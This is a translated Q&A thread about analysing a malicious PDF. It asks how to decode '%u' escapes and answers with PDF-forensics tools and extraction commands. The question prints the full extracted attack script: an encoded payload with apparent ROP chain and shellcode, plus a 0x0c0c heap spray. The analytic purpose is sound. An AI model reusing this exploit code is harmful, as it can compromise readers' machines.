我有一个 PDF 文件，据我所知，它包含一个 JavaScript 脚本文件，该文件会执行恶意操作，但目前还不确定具体是什么。
我已经成功解压缩了 PDF 文件并获得了纯文本 JavaScript 源代码，但它的代码本身隐藏在我以前从未见过的语法中。
代码示例：这就是大部分代码的样子
var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')
我想这种带有长变量/函数名称和隐藏文本字符的表示法会让寻找这些类型的东西的扫描仪感到困惑。
两个问题：
问题1
谁能告诉我这叫什么%u4141?
问题2
是否有某种工具可以将该符号转换为纯文本，以便我可以看到它在做什么？
完整的JS代码：
var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');
var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");
while (C.length + 20 + 8 < 65536) C+=C;
D = C.substring(0, (0x0c0c-0x24)/2);
D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";
看起来您已经从 PDF 中提取了 JavaScript。你的问题似乎是分析这个 JavaScript 的。
由于这个主题（在看似无害的 PDF 文件中混淆并隐藏恶意 JavaScript 代码）似乎越来越受到恶意软件作者的欢迎，让我列出一些工具和网站，这些工具和网站被证明对剖析此类威胁的初学者有帮助:
- Didier Stevens 的 PDF 工具 http://blog.didierstevens.com/programs/pdf-tools/
-
Didier Stevens 的 PDF 恶意软件截屏视频的第 1 部分（众多） http://www.youtube.com/watch?v=F3rpZT0gKXw（在YouTube上）
-
Jay Berkenbilt 的 QPDF： http://qpdf.sourceforge.net/用于保留内容的 PDF 转换的实用程序（用于解压 PDF 中所有/大多数压缩对象的有用命令：
qpdf --qdf original.pdf unpacked.pdf
然后在文本编辑器中打开 unpacked.pdf）
- Julia Wolf 关于 PDF 恶意软件混淆的演示 http://blog.fireeye.com/files/julia_wolf_toorcon12_omg_wtf.pdf
-
peepdf: http://code.google.com/p/peepdf/一个用于探索 PDF 的 Python 工具（找出它们是否是恶意的）
-
PDF技巧： http://code.google.com/p/corkami/wiki/PDFTricksPDF 源代码混淆方法的（非详尽）列表
-
Wepawet: http://wepawet.iseclab.org/用于分析 PDF/Javascript/Flash 文件的在线资源（生成报告）
-
折纸-PDF： http://code.google.com/p/origami-pdf/用于分析和生成恶意 PDF 的 Ruby 工具
- （...这里未列出更多资源...）
我不知道你到底是如何提取问题中提供的 Javascript 片段的。但是，无论如何，不要指望已经找到了allPDF 中的 JS 代码 - 除非您是 PDF 专家，知道在哪里查找以及如何发现所有可能的混淆。 （我建议您将第 3 号工具应用于您的源 PDF，并根据第 6 号中的提示查看生成的 PDF...其他工具可能需要更多地研究 PDF 语法，然后才能真正使它们有用给你。）
Update
这是我（将近 3 年前）的旧答案的更新。值得补充的是：
-
pdfinfo -js http://poppler.freedesktop.org/：最新的（基于 Poppler！，不是基于 XPDF）版本pdfinfo（从...开始v0.25.0 http://poppler.freedesktop.org/releases.html，2013 年 12 月 11 日发布）现在知道了-js命令行参数，打印 PDF 文件中嵌入的 JavaScript 代码。
即使对于许多情况，这也适用/JavaScriptPDF 源代码中的名称通过使用（正式合法的）PDF 名称结构进行混淆，例如/4Aavascript or /J#61v#61script或类似的。
不幸的是，这个奇妙的功能除了pdfinfo人们仍然知之甚少。请分享！
Update 2
再次更新，因为上面提到peepdf工具最近得到了extract添加子命令：
-
peepdf.js https://github.com/jesparza/peepdf：这是一个基于Python的命令行工具，可以分析PDF文件。它是由 Jose Miguel Esparza 开发的，主要目的是“查明该文件是否有害”，但对于 PDF 文件结构的一般探索也非常有用。
安装及使用：
- 克隆 GitHub 存储库：
git clone https://github.com/jesparza/peepdf git.peepdf.
- 创建一个符号链接到
peepdf.py脚本并将其放入您的某个位置$PATH:
cd git.clone ;
ln -s $(pwd)/peepdf.py ${HOME}/bin/peepdf.py
- 以交互模式运行它，打开 PDF 文件：
peepdf.py -fil my.pdf
-
Use the extract js > all-js-in-my.pdf命令提取并重定向其中包含的所有 JavaScriptmy.pdf到一个文件中。下面的屏幕截图描述了这一点：
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)
